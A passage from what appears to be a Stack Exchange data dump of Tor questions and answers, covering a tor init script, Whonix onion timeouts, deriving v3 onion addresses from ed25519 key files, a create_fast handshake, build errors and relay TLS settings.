&lt;code&gt;TOR_OPTIONS&lt;/code&gt; does not resolve the issue:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sh&#xA;&#xA;TOR_BIN=/usr/local/bin/tor&#xA;#TOR_OPTIONS=&amp;quot;-f /usr/local/etc/tor/torrc.sample&amp;quot;  # Specify the path to your torrc file&#xA;&#xA;start() {&#xA;    echo &amp;quot;Starting Tor...&amp;quot;&#xA;    &amp;quot;$TOR_BIN&amp;quot; &amp;amp;&#xA;    #&amp;quot;$TOR_BIN&amp;quot; &amp;quot;$TOR_OPTIONS&amp;quot; &amp;amp;&#xA;}&#xA;stop() {&#xA;    echo &amp;quot;Stopping Tor...&amp;quot;&#xA;    killall tor  &#xA;}&#xA;&#xA;status() {&#xA;    if pgrep -x &amp;quot;tor&amp;quot; &amp;gt; /dev/null&#xA;    then&#xA;        echo &amp;quot;Tor is running.&amp;quot;&#xA;    else&#xA;        echo &amp;quot;Tor is not running.&amp;quot;&#xA;    fi&#xA;}&#xA;&#xA;case &amp;quot;$1&amp;quot; in&#xA;    start)&#xA;        start&#xA;        ;;&#xA;    stop)&#xA;        stop&#xA;        ;;&#xA;    restart)&#xA;        stop&#xA;        sleep 1&#xA;        start&#xA;        ;;&#xA;    status)&#xA;        status&#xA;        ;;&#xA;    *)&#xA;        echo &amp;quot;Usage: $0 {start|stop|restart|status}&amp;quot;&#xA;        exit 1&#xA;        ;;&#xA;esac&#xA;&#xA;exit 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;As of time of the relase &lt;code&gt;0.4.8.10&lt;/code&gt;, if you want to run &lt;code&gt;tor&lt;/code&gt; as a service in the background, having &lt;code&gt;/usr/local/var/&lt;/code&gt; in your system is a prerequisite.&lt;/strong&gt; This directory somehow doesn't get created in the process of compiling tor from source. There is a mention and reference to &lt;code&gt;/usr/local/var/&lt;/code&gt; in   &lt;code&gt;Makefile&lt;/code&gt; but I have not noticed any &lt;code&gt;mkdir&lt;/code&gt; command creating it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;mkdir -p /usr/local/var/&lt;/code&gt;as root solves the issue.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As an alternative that does not require creating &lt;code&gt;/usr/local/var/&lt;/code&gt;  you can manually launch tor in the background with &lt;code&gt;nohup tor&amp;gt;/tmp/tor.log 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/code&gt;.&#xA;To view its status you would then have to use &lt;code&gt;tail -n 20 /tmp/tor.log&lt;/code&gt; and &lt;code&gt;killall tor&lt;/code&gt; to stop it.&lt;/p&gt;&#xA;" OwnerUserId="28671" LastEditorUserId="28671" LastEditDate="2024-02-09T10:58:46.763" LastActivityDate="2024-02-09T10:58:46.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23961" PostTypeId="1" CreationDate="2024-02-13T18:47:34.690" Score="0" ViewCount="81" Body="&lt;p&gt;The following issue is reproducible on multiple Whonix instances.&lt;/p&gt;&#xA;&lt;p&gt;While I can access many onion sites from Whonix Tor browser, certain sites report &amp;quot;The connection has timed out&amp;quot;.  These same sites load without problem in stand-alone Tor instance on my host machine.&lt;/p&gt;&#xA;&lt;p&gt;For example, testing with Dread onion site: &lt;a href=&quot;http://g66ol3eb5ujdckzqqfmjsbpdjufmjd5nsgdipvxmsh7rckzlhywlzlqd.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://g66ol3eb5ujdckzqqfmjsbpdjufmjd5nsgdipvxmsh7rckzlhywlzlqd.onion&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I can access this site without any issues from stand alone Tor browser (Ubuntu).  However when I try to access the same onion from Whonix Tor browser I consistently get &amp;quot;The connection has timed out&amp;quot;.  I tried multiple Whonix instances (Running various Whonix versions 17.1.1.5, 17.1.0.2, 16.0.5.3).  I tried rebooting all including the host, getting new identity - nothing works.  Mind you, I can access many other onion sites from said Whonix systems.&lt;/p&gt;&#xA;" OwnerUserId="39500" LastActivityDate="2024-02-15T20:22:50.047" Title="Certain onion sitest don't work from Whonix" Tags="|whonix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23962" PostTypeId="2" ParentId="23959" CreationDate="2024-02-15T19:07:48.513" Score="0" Body="&lt;p&gt;Let's sort it out one by one:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Even if you'll compile the sources - they can be decompiled&lt;/li&gt;&#xA;&lt;li&gt;The hoster that provides you the VPS owns a hypervisor that makes your server running as a VM. So all the memory can be snooped and hostnames, private keys e.t.c. can be extracted without a hyper-complications&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Only AMD SEV VM's can give you protection against pt. 1 and 2&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;the chance of defeating a mass-scanner - yes, it will be just a bit lower, but no significant change&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Try running Tor instances on one VPS, the HS on another and connect them via I2P - that setup with two different hosting providers in different jurisdictions will improve the score you're concerned about&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-02-15T19:07:48.513" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23963" PostTypeId="2" ParentId="21642" CreationDate="2024-02-15T20:18:02.623" Score="0" Body="&lt;p&gt;It's &lt;strong&gt;just&lt;/strong&gt; a question of network paths and speeds on each step of them. Basically - in clearnet case the key difference &lt;strong&gt;is the only fact&lt;/strong&gt; that the signal path is straight and open to the observer. All the other issues with a path segment speed, load ant throughput are exactly the same&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In &lt;em&gt;clearnet case&lt;/em&gt; you have dependency on the network channels speed, load, switches and routers' CPU loads et cetera...&lt;/li&gt;&#xA;&lt;li&gt;In &lt;em&gt;Tor case&lt;/em&gt; you have exactly the same issues as in clearnet case, because Tor is built on the top of it - and additionally the nodes involved in your path are also have their CPU loads, RAM speeds, Network speeds e.t.c.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;..... so you was not compromised for sure! You was just unlucky when you've had a slow speed and long buffering - and your request went fine when you have had a fast experience&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-02-15T20:18:02.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23964" PostTypeId="2" ParentId="23961" CreationDate="2024-02-15T20:22:50.047" Score="0" Body="&lt;p&gt;Whonix is still buggy and immature - use QubesOS! The issue you're mentioning is ubiquitous for a years, I remember spotting it in 2018 myself! The answer lays in the Whonix's tor instance's logs - set them to debugging level and check it. It's usually either a network integration issue or a timeout on the onion pipe - you can check the logs. The standalone installation works fine because it can utilize an open ORPort and many other things, so it's integration is a way greater than Whonix's one&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-02-15T20:22:50.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23965" PostTypeId="1" AcceptedAnswerId="23976" CreationDate="2024-02-17T08:41:57.443" Score="1" ViewCount="148" Body="&lt;p&gt;I'm trying to compute the v3 onion address (hostname) from the hs_ed25519_secret_key file generated by tor itself in python. I know i can just copy that file to the hidden_service dir and start tor so that tor will generate the public key and hostname itself but i want to do it offline and in python preferably.&lt;/p&gt;&#xA;&lt;p&gt;I already managed to get the hostname from the hs_ed25519_public_key file, but from the secret key I cannot make it working... I know the hs_ed25519_secret_key file is 96 bytes (where the first 32 are &lt;code&gt;== ed25519v1-secret: type0 ==\x00\x00\x00&lt;/code&gt; and can be trashed). But the remaining 64 bytes cannot all be the secret key since this should be only 32 bytes as far as I understand, otherwise it is considered to contain the 32 bytes public key which it obviously does not. I know some key expansion is done before storing it to hs_ed25519_secret_key file but there must be a way to get the public key (and hence the hostname) from the expanded format.&lt;/p&gt;&#xA;&lt;p&gt;So I tried to just cut off the last 32 bytes too, but i couldn't get this to work (not even with the help of ChatGPT lol). Here is what I got so far:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;import hashlib&#xA;import base64&#xA;from nacl.signing import SigningKey&#xA;&#xA;def extract_pub_key_from_file(secret_key_path):&#xA;    with open(secret_key_path, 'rb') as f:&#xA;        content = f.read()[32:] # ignore the == ed25519v1-secret: type0 ==\x00\x00\x00&#xA;    signing_key = SigningKey(content[:-32]) # alternatively tried (content[32:]) here&#xA;    verifying_key = signing_key.verify_key&#xA;    return verifying_key.encode()&#xA;&#xA;def generate_onion_address(pubkey, version=b'\x03'):&#xA;    checksum = hashlib.sha3_256(b&amp;quot;.onion checksum&amp;quot; + pubkey + version).digest()[:2]&#xA;    onion_address = base64.b32encode(pubkey + checksum + version).decode().lower()&#xA;    return onion_address&#xA;&#xA;secret_key_path = sys.argv[1]&#xA;public_key = extract_pub_key_from_file(secret_key_path)&#xA;if public_key:&#xA;    print(&amp;quot;Extracted Public Key:&amp;quot;, public_key)&#xA;&#xA;onion_address = generate_onion_address(public_key)&#xA;print(&amp;quot;Onion Address: {}.onion&amp;quot;.format(onion_address))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As I took the public key and the secret key generated by tor itself, I know it has to work in some way. Tor does it when provided with only the secret key, but I just cannot figure out what part of the file contains the real secret key.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone have an idea on the exact content of the hs_ed25519_secret_key file or is my code just buggy?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;I found &lt;a href=&quot;https://tor.stackexchange.com/a/23674/39512&quot;&gt;this answer&lt;/a&gt; on how to do the expansion of the ed25519 secret key to fit the hs_ed25519_secret_key format. As far as I understand, the hs_ed25519_secret_key file does only contain the hashed (and manipulated) version of the &amp;quot;real&amp;quot; secret key. But tor still manages to restore the public key and hostname from it, if provided with hs_ed25519_secret_key. How is this done?&lt;/p&gt;&#xA;" OwnerUserId="39512" LastEditorUserId="39512" LastEditDate="2024-02-18T08:20:44.410" LastActivityDate="2024-03-09T19:58:10.077" Title="How to get the hostname from hs_ed25519_secret_key" Tags="|onion-services|encryption|onionaddress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23966" PostTypeId="1" AcceptedAnswerId="23971" CreationDate="2024-02-23T22:00:48.510" Score="0" ViewCount="17" Body="&lt;p&gt;I'm reading through the specification and looking through the code (a slightly modified torpy), and I can't figure out what the &lt;code&gt;handshake_response&lt;/code&gt; should be.&lt;/p&gt;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://spec.torproject.org/tor-spec/create-created-cells.html#create_fast&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://spec.torproject.org/tor-spec/create-created-cells.html#create_fast&lt;/a&gt; and&#xA;&lt;a href=&quot;https://spec.torproject.org/tor-spec/setting-circuit-keys.html#kdf-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://spec.torproject.org/tor-spec/setting-circuit-keys.html#kdf-tor&lt;/a&gt;, both the OP and the first hop generate random key material:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def handshake(self):&#xA;        return secrets.token_bytes(TOR_DIGEST_LEN)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then the OP sends it X to the first hop, and the first hop responds with a &lt;code&gt;handshake_response&lt;/code&gt; such that with it we can&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def complete_handshake(self, handshake_response):&#xA;        # tor ref: fast_client_handshake&#xA;        peer_value = handshake_response[:TOR_DIGEST_LEN]&#xA;        key_hash = handshake_response[TOR_DIGEST_LEN:]&#xA;        shared_secret = self.handshake + peer_value&#xA;        computed_auth, key_material = kdf_tor(shared_secret)&#xA;        if computed_auth != key_hash:&#xA;            raise KeyAgreementError('Auth input does not match.')&#xA;        return key_material[:KeyAgreement.KEY_MATERIAL_LENGTH]&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;, where&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def tor_digest(msg):&#xA;    return sha1(msg)&#xA;&#xA;&#xA;def kdf_tor(shared_secret):&#xA;    # tor ref: crypto_expand_key_material_TAP&#xA;    t = shared_secret + bytes([0])&#xA;    computed_auth = tor_digest(t)&#xA;    key_material = b''&#xA;    for i in trange(1, 5):&#xA;        t = shared_secret + bytes([i])&#xA;        tsh = tor_digest(t)&#xA;        key_material += tsh&#xA;    return computed_auth, key_material&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So, how do we calculate the &lt;code&gt;handshake_response&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="866" LastActivityDate="2024-02-29T23:11:25.900" Title="How do you calculate a response for a create_fast handshake?" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23967" PostTypeId="1" CreationDate="2024-02-23T23:49:23.803" Score="0" ViewCount="67" Body="&lt;p&gt;Question : If you have the gmail app on your phone (samsung) and you not signed out of the app, if you then use a VPN then access tor, does Google have your search history of tor and is your tor searches still anonymous?&lt;/p&gt;&#xA;" OwnerUserId="39525" LastActivityDate="2024-02-24T12:02:11.710" Title="Anonymity with tor" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23968" PostTypeId="2" ParentId="23967" CreationDate="2024-02-24T12:02:11.710" Score="0" Body="&lt;p&gt;Google will have your search history if you're using Google to search: with or without signing in. If you're using not Chrome and not Google to search over Tor - it depends on Google application suite integration/wiretapping in your particular mobile device model implementation - it can have it if it's wiretapping deeply&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-02-24T12:02:11.710" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23969" PostTypeId="1" CreationDate="2024-02-27T21:48:02.457" Score="0" ViewCount="18" Body="&lt;p&gt;Recently I tried going on Tor browser and couldn't get on. Got a malware warning.Still having trouble going on Tor. Even looks different. Takes up whole computer screen. I recently did have to go to a new anti virus. Tried deleting then reloading tor browser, (losing ALL my bookmarks). Still having issues.Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="23096" LastActivityDate="2024-02-27T21:48:02.457" Title="Malware and problems loading Tor" Tags="|malware|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23970" PostTypeId="1" CreationDate="2024-02-29T06:37:07.653" Score="0" ViewCount="127" Body="&lt;p&gt;Why do Tor experts discourage using Tor and a VPN at the same time? Is it because of the network fingerprint, latency, or that there is no point to it?&lt;/p&gt;&#xA;" OwnerUserId="39543" LastEditorUserId="39543" LastEditDate="2024-02-29T06:37:29.327" LastActivityDate="2024-03-13T21:27:45.983" Title="Why do people discourage using Tor with a VPN?" Tags="|security|vpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23971" PostTypeId="2" ParentId="23966" CreationDate="2024-02-29T23:11:25.900" Score="0" Body="&lt;pre&gt;&lt;code&gt;def calculate_handshake(X):&#xA;        Y = secrets.token_bytes(TOR_DIGEST_LEN)&#xA;        magic_second_part = kdf_tor(X+Y)[0]&#xA;        server_response = Y+magic_second_part&#xA;        print(f&amp;quot;the first hop is going to return handshake_response {server_response}&amp;quot;)&#xA;&#xA;        return server_response&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="866" LastActivityDate="2024-02-29T23:11:25.900" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23972" PostTypeId="1" AcceptedAnswerId="23983" CreationDate="2024-03-03T11:27:27.627" Score="0" ViewCount="20" Body="&lt;pre&gt;&lt;code&gt;./configure --enable-gpl --enable-nss --enable-static-tor --with-openssl-dir=usr/bin/openssl --with-libevent-dir=/lib/x86_64-linux-gnu/libevent-2.1.so.7.0.1 --with-zlib-dir=/lib/x86_64-linux-gnu/libz.so.1.2.13&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;gives me the following error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;checking for libevent directory... (system)&#xA;checking whether we need extra options to link libevent... (none)&#xA;checking event2/event.h usability... yes&#xA;checking event2/event.h presence... yes&#xA;checking for event2/event.h... yes&#xA;checking event2/dns.h usability... yes&#xA;checking event2/dns.h presence... yes&#xA;checking for event2/dns.h... yes&#xA;checking event2/bufferevent_ssl.h usability... yes&#xA;checking event2/bufferevent_ssl.h presence... yes&#xA;checking for event2/bufferevent_ssl.h... yes&#xA;configure: error: &amp;quot;You must specify an explicit --with-libevent-dir=x option when using --enable-static-libevent&amp;quot;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I think I have incorrectly chosen the directories of the libraries.&#xA;I linked to the files because I have not found any directories?&#xA;I am on an ubuntu derivative. How should I rewrite this command for it to succeed?&lt;/p&gt;&#xA;" OwnerUserId="28671" LastActivityDate="2024-03-10T19:21:55.897" Title="How do I link to the directories of the libraries needed to build a static tor binary on Ubuntu?" Tags="|tor-install|build|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23973" PostTypeId="1" CreationDate="2024-03-04T05:49:51.343" Score="0" ViewCount="22" Body="&lt;p&gt;I simulated a small Tor network using Docker.One DA，One Client，Three relays——relay1、relay2、relay3。when I run tor on relay nodes，&lt;strong&gt;I found that the relay node is attempting to create and extend circuits like the picture。&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Wxv0P.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wxv0P.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Three relay nodes' torrc files are as pictures：&lt;/strong&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4v6h9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4v6h9.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Why does this phenomenon occur? What I want is for only the client to create circuits, with the relay node only acting as a packet forwarder. How should I configure it?&lt;/p&gt;&#xA;" OwnerUserId="39551" LastActivityDate="2024-03-04T05:49:51.343" Title="Why is my relay node acting as a client, extending and creating circuits simultaneously? i want your help！" Tags="|configuration|security|relays|exit-relays|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23974" PostTypeId="1" CreationDate="2024-03-06T03:14:14.083" Score="0" ViewCount="48" Body="&lt;p&gt;I'm encountering an issue regarding the weak strength of the certificate key. The OVasp vulnerability scanner indicates that the Diffie-Hellman (DF) groups are weak on the service at port 444, which is a Tor relay. This service is running on an&#xA;Ubuntu 22.04.4 LTS VPS server.&#xA;Tor version 0.4.8.10.&lt;/p&gt;&#xA;&lt;p&gt;Here are more details:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;PORT    STATE SERVICE&#xA;444/tcp open  snpp&#xA;| ssl-enum-ciphers: &#xA;|   TLSv1.2: &#xA;|     ciphers: &#xA;|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 1024) - A&#xA;|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (dh 1024) - A&#xA;|       TLS_DHE_RSA_WITH_AES_128_CCM (dh 1024) - A&#xA;|       TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (dh 1024) - A&#xA;|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 1024) - A&#xA;|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (dh 1024) - A&#xA;|       TLS_DHE_RSA_WITH_AES_256_CCM (dh 1024) - A&#xA;|       TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (dh 1024) - A&#xA;|       TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (dh 1024) - A&#xA;|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A&#xA;|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - A&#xA;|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A&#xA;|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A&#xA;|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - A&#xA;|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A&#xA;|       TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (secp256r1) - A&#xA;|     compressors: &#xA;| &#xA;|     cipher preference error: Error when comparing TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 and TLS_DHE_RSA_WITH_AES_128_CCM&#xA;|     warnings: &#xA;|       Key exchange (dh 1024) of lower strength than certificate key&#xA;|_  least strength: A&#xA;&#xA;Nmap done: 1 IP address (1 host up) scanned in 9.82 seconds&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've been attempting to determine whether it's possible to change the DH group inside the Tor, but I haven't been able to find it anywhere. Additionally, I haven't found other people reporting this issue, so I'm unsure if it's directly related to Tor or if it's a problem elsewhere in my system configuration.&lt;/p&gt;&#xA;&lt;p&gt;I've read the mitigation details on &lt;a href=&quot;https://weakdh.org/sysadmin.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://weakdh.org/sysadmin.html&lt;/a&gt;, but none of the services they describe in the text are related to Tor.&lt;/p&gt;&#xA;&lt;p&gt;How can I increase this key size to mitigate the issue?&lt;/p&gt;&#xA;&lt;p&gt;Thank you for any pointers or ideas on how to resolve this.&lt;/p&gt;&#xA;" OwnerUserId="34547" LastEditorUserId="34547" LastEditDate="2024-03-06T03:37:29.487" LastActivityDate="2024-03-11T11:41:50.540" Title="SSL/TLS: Diffie-Hellman Key Exchange Insufficient DH Group Strength Vulnerability" Tags="|relays|vps|key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23975" PostTypeId="1" AcceptedAnswerId="23982" CreationDate="2024-03-06T10:49:48.063" Score="0" ViewCount="62" Body="&lt;p&gt;I recently increased my link to 1:1 100Mbit/s (down/up) at home. It is an unmetered connection IPv4 only.&lt;/p&gt;&#xA;&lt;p&gt;I have set up a bridge this morning. But I know little of bridges... I do not know if it could saturate my bandwidth or not even close.&lt;/p&gt;&#xA;&lt;p&gt;Should a &lt;strong&gt;full-fledged non-exit relay&lt;/strong&gt; be of more help, I would be happy to hear what I should consider before switching to one.&lt;/p&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="12763" LastActivityDate="2024-03-10T19:18:38.043" Title="Is there something to consider before starting a Tor non-exit Relay at home (100mbit)?" Tags="|relays|bridge|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23976" PostTypeId="2" ParentId="23965" CreationDate="2024-03-06T19:48:00.333" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;How is this done?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;That's the Neat Part, You Don't.&lt;/p&gt;&#xA;&lt;p&gt;What you think is the private key is actually the seed. From the seed, all other stuff that is needed is derived, but the seed is not really needed.&lt;/p&gt;&#xA;&lt;p&gt;Things get much more clear when looking at this ed25519 key creation.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/r9N9h.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r9N9h.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;src &lt;a href=&quot;https://pynacl.readthedocs.io/en/latest/signing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pynacl.readthedocs.io/en/latest/signing/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The length of the hs_ed25519_secret_key is 96 bytes (= 3 x 32 bytes) and the format is&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;32 bytes that mean &amp;quot;== ed25519v1-secret: type0 ==\x00\x00\x00&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;32 bytes that are the private scalar &lt;code&gt;a&lt;/code&gt; (as shown in the upper scheme)&lt;/li&gt;&#xA;&lt;li&gt;32 bytes that are the righthalf &lt;code&gt;RH&lt;/code&gt; of the sha512&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So tor does not need to unhash something because there is no interest in the seed. All you need for performing this ed25519 stuff is the either&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the seed &lt;code&gt;k&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;the sha512 sum of that seed, so its first 32 bytes and last 32 bytes or&lt;/li&gt;&#xA;&lt;li&gt;the private scalar &lt;code&gt;a&lt;/code&gt; and minimum the &lt;code&gt;RH&lt;/code&gt; of the sha512 (so tor does; also storing the &lt;code&gt;LH&lt;/code&gt; would be redundant)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And from the private scalar &lt;code&gt;a&lt;/code&gt;, the pubkey &lt;code&gt;A&lt;/code&gt; is generated. Both are used in the sign part. And the &lt;code&gt;RH&lt;/code&gt; is used with the message &lt;code&gt;M&lt;/code&gt; in the sha512 in the sign part, too.&lt;/p&gt;&#xA;&lt;p&gt;So the private scalar &lt;code&gt;a&lt;/code&gt; and righthalf &lt;code&gt;RH&lt;/code&gt; are the most computed values that one can get. Just storing the seed means computation every time you need the private scalar &lt;code&gt;a&lt;/code&gt; or the &lt;code&gt;RH&lt;/code&gt; for signing. And because &lt;code&gt;A&lt;/code&gt; is in the file hs_ed25519_public_key, when the signing part must be performed, there is no need for tor to spend computing power on the keygen. It can just read &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;A&lt;/code&gt; and &lt;code&gt;RH&lt;/code&gt; from the files and all the computing power can be used for the sign part.&lt;/p&gt;&#xA;&lt;p&gt;p.s. I checked the python libs cryptography and pynacl but I couldn't find a way to give &lt;code&gt;a&lt;/code&gt; as an input for &lt;code&gt;A&lt;/code&gt;. So with this, you could also convert the file hs_ed25519_secret_key into hs_ed25519_public_key.&lt;/p&gt;&#xA;&lt;p&gt;edit:&#xA;I just tested the link from&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/22663/put-ed25519-keys-in-usable-file-format-for-tor/23674#23674&quot;&gt;this answer&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and ran it (modified without the path stuff and keygen)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import base64&#xA;import hashlib&#xA;from cryptography.hazmat.primitives.asymmetric import ed25519&#xA;&#xA;&#xA;def expand_private_key(secret_key) -&amp;gt; bytes:&#xA;    hash = hashlib.sha512(secret_key).digest()&#xA;    hash = bytearray(hash)&#xA;    hash[0] &amp;amp;= 248&#xA;    hash[31] &amp;amp;= 127&#xA;    hash[31] |= 64&#xA;    return bytes(hash)&#xA;&#xA;&#xA;def onion_address_from_public_key(public_key: bytes) -&amp;gt; str:&#xA;    version = b&amp;quot;\x03&amp;quot;&#xA;    checksum = hashlib.sha3_256(b&amp;quot;.onion checksum&amp;quot; + public_key + version).digest()[:2]&#xA;    onion_address = &amp;quot;{}.onion&amp;quot;.format(&#xA;        base64.b32encode(public_key + checksum + version).decode().lower()&#xA;    )&#xA;    return onion_address&#xA;&#xA;&#xA;def verify_v3_onion_address(onion_address: str) -&amp;gt; list[bytes, bytes, bytes]:&#xA;    # v3 spec https://gitweb.torproject.org/torspec.git/plain/rend-spec-v3.txt&#xA;    try:&#xA;        decoded = base64.b32decode(onion_address.replace(&amp;quot;.onion&amp;quot;, &amp;quot;&amp;quot;).upper())&#xA;        public_key = decoded[:32]&#xA;        checksum = decoded[32:34]&#xA;        version = decoded[34:]&#xA;        if (&#xA;            checksum&#xA;            != hashlib.sha3_256(b&amp;quot;.onion checksum&amp;quot; + public_key + version).digest()[:2]&#xA;        ):&#xA;            raise ValueError&#xA;        return public_key, checksum, version&#xA;    except:&#xA;        raise ValueError(&amp;quot;Invalid v3 onion address&amp;quot;)&#xA;&#xA;&#xA;def create_hs_ed25519_secret_key_content(signing_key: bytes) -&amp;gt; bytes:&#xA;    return b&amp;quot;== ed25519v1-secret: type0 ==\x00\x00\x00&amp;quot; + expand_private_key(&#xA;        signing_key&#xA;    )&#xA;&#xA;&#xA;def create_hs_ed25519_public_key_content(public_key: bytes) -&amp;gt; bytes:&#xA;    assert len(public_key) == 32&#xA;    return b&amp;quot;== ed25519v1-public: type0 ==\x00\x00\x00&amp;quot; + public_key&#xA;&#xA;&#xA;def store_bytes_to_file(&#xA;    bytes: bytes, filename: str, uid: int = None, gid: int = None&#xA;) -&amp;gt; str:&#xA;    with open(filename, &amp;quot;wb&amp;quot;) as binary_file:&#xA;        binary_file.write(bytes)&#xA;    return filename&#xA;&#xA;&#xA;def store_string_to_file(&#xA;    string: str, filename: str, uid: int = None, gid: int = None&#xA;) -&amp;gt; str:&#xA;    with open(filename, &amp;quot;w&amp;quot;) as file:&#xA;        file.write(string)&#xA;    return filename&#xA;&#xA;&#xA;def create_hidden_service_files(&#xA;    private_key: bytes,&#xA;    public_key: bytes,&#xA;    hidden_service_dir: str,&#xA;) -&amp;gt; None:&#xA;&#xA;&#xA;    